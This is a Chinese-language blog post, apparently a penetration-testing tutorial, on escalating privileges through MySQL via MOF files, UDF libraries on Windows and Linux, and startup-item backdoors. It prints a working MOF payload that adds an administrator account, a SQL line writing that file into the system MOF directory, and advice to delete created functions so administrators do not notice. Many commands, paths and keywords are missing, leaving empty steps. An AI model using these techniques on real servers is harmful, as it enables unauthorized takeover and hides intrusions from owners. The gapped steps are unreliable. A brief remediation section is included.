MySQL提权的三种方法

MySQL提权的三种方法 参考文献 提权总结以及各种利用姿势 windows+MYSQL+UDF提权 MySQL提权的必要条件: 具有MySQL的root权限,且MySQL以system权限运行。具有执行SQL语句的权限。 获取ro...

MySQL提权的三种方法

参考文献

提权总结以及各种利用姿势

windows+MYSQL+UDF提权

MySQL提权的必要条件:

  1. 具有MySQL的root权限,且MySQL以system权限运行。

  2. 具有执行SQL语句的权限。

获取root密码的方法:

  1. 查看数据库配置文件

    关键字:、、、、、等

  2. 下载mysql安装路径下的数据文件

    • 安装路径下的data目录中存放的是数据库的数据信息

    • root账号密码存储在mysql数据库下的user表中

    • 完整路径=安装路径+

  3. 暴力破解

MySQL数据库提权的几种方式

  • udf提权

  • mof提权

  • 开机启动脚本(启动项提权)

MOF提权

原理

利用了目录下的文件

利用该文件每分钟会去执行一次的特性,向该文件中写入cmd命令,就会被执行

利用条件

  1. 只使用于windows系统,一般低版本系统才可以用,比如、

  2. 对目录有读写权限

  3. 可以找到一个可写目录,写入mof文件

提权方法

  1. 在可写目录中上传mof文件。

    把mof文件上传到

  2. 把这个文件复制到目录下

    select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'

    将下面这段代码复制到mof后缀的文件中

    ?
    # pragma namespace("\.\root\subscription")
    ?
    instance of EventFilter as $EventFilter{ EventNamespace="Root\Cimv2"; Name="filtP2"; Query="Select * From InstanceModificationEvent "
    ?
    "Where TargetInstance Isa "Win32_LocalTime" "
    ?
    "And TargetInstance.Second=5";
    ?
    QueryLanguage="WQL";
    ?
    };
    ?
    instance of ActiveScriptEventConsumer as $Consumer
    ?
    {
    ?
    Name="consPCSV2";
    ?
    ScriptingEngine="JScript";
    ?
    ScriptText=
    ?
    "var WSH=new
    ?
    ActiveXObject("WScript.Shell") WSH.run("net.exe user admin admin /add")";
    ?
    };
    ?
    instance of __FilterToConsumerBinding
    ?
    {
    ?
    Consumer=$Consumer;
    ?
    Filter=$EventFilter;
    ?
    };

    把这个mof文件上传到目标机中,可以修改代码,进行命令执行。

    目前mof提权方法用的比较少,建议使用udf脚本进行MySQL数据库提权。

补救措施

当发现服务器被使用mof提权,解决继续执行系统命令的方法:

  1. 先停止winmgmt服务:

  2. 删除文件夹:

  3. 再重新启动winmgmt服务:

UDF提权(用户自定义函数提权)

原理

UDF(User Defined Funtion)用户自定义函数,通过添加新的函数,对mysql服务器进行功能扩充。

信息收集

select version();   # 获取数据库版本
select user(); # 获取数据库用户
select @@basedir; # 获取数据库安装目录
show variables like ‘%plugin%’; # 查看plugin路径。

Windows UDF提权

UDF可以理解为MySQL的函数库,可以利用udf定义的创建函数。想要利用udf,必须上传udf.dll作为udf的执行库。MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能。

利用条件

如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建文件夹,然后将udf.dll导入到该目录。

如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于目录,在windows server 2000下放置在目录。

掌握mysql数据库的root账户,从而拥有对mysql的insert和delete权限,以创建和抛弃函数。

拥有可以将udf.dll写入相应目录的权限。

基本步骤

DLL文件的获取方法

在目录下,在Windows目录中有32位和64位的dll文件(MySQL位数)。

文件夹中的dll文件是通过异或编码的,可以使用进行解码

  1. 将解码后的DLL文件(包含用户自定义函数的DLL文件)上传到可写目录,再导入到中

  2. 将DLL中的函数引入到MySQL数据库中

    创建自定义函数

    创建名为sys_eval的函数,返回值为string类型,调用的文件是lib_mysqludf_sys.dll

    注意:需要创建.dll文件中存在的函数,可以使用十六进制编辑器打开.dll文件,查看可以被创建的函数。

  3. 使用该函数去执行系统命令提权

    查看当前用户权限

    创建账号并提升为管理员权限

  4. 将之前引入的函数删除掉

    防止被管理员发现,防止其他攻击者使用

Linux UDF提权

简述

通过自定义库函数来实现执行任意的命令

包含用户自定义函数的文件为.so文件

要求

  • 在my.ini的[mysqld]下,添加secure_file_priv="",不限制导入导出路径

  • 具有数据库root账户的密码,且mysql数据库以root权限运行

  • 具有sql语句的执行权限

  • 导出目录可写

  • 系统中的selinux处于关闭状态

提权过程

  1. 查找插件库的路径

    得到的结果为:

    plugin_dir/usr/lib64/mysql/plugin
  2. 找到对应操作系统数据库的UDF库文件

    下的文件

  3. 将so文件(UDF库文件)进行16进制编码

  4. 将so文件的内容解码,写入到mysql插件库目录中

  5. 查看udf库所支持的函数

    注意:需要创建.so文件中存在的函数,可以使用十六进制编辑器打开.so文件,查看可以被创建的函数。

  6. 创建函数

    写入之后,执行创建函数的命令,就会创建一个sys_eval的函数,用来执行系统命令,这个函数执行的系统命令全部都是system权限。

  7. 执行系统命令,提权

    这个函数就可以执行系统命令,括号里输入系统命令即可。

    查看当前用户权限

    创建账号并提升为管理员权限

不需要判断mysql的版本,直接查看路径,直接写so文件,Linux里面的文件是so文件。

getshell之后,在终端输入whoami,发现只是apache用户权限。

寻找网站的数据库配置文件,查看数据库的账号密码,可以看到账号root密码root。

登录mysql数据库,输入查看plugin路径。

得到的结果为:

plugin_dir/usr/lib64/mysql/plugin

我们把so文件进行16进制编码,再解码写入目录中,返回为true,写入成功。

写入之后,执行创建函数的命令,就会创建一个sys_eval的函数,用来执行系统命令,这个函数执行的系统命令全部都是system权限。

这个函数就可以执行系统命令,括号里输入系统命令即可。

开机启动项提权

利用MySQL,将后门写入开机启动项。同时因为是开机自启动,在写入之后,需要重启目标服务器,才可以运行。

  • 发表于 2021-04-17 21:56
  • 阅读 ( 253 )
  • 分类:互联网

0 条评论

请先 登录 后评论
临风纵欢
临风纵欢

714 篇文章

你可能感兴趣的文章

相关问题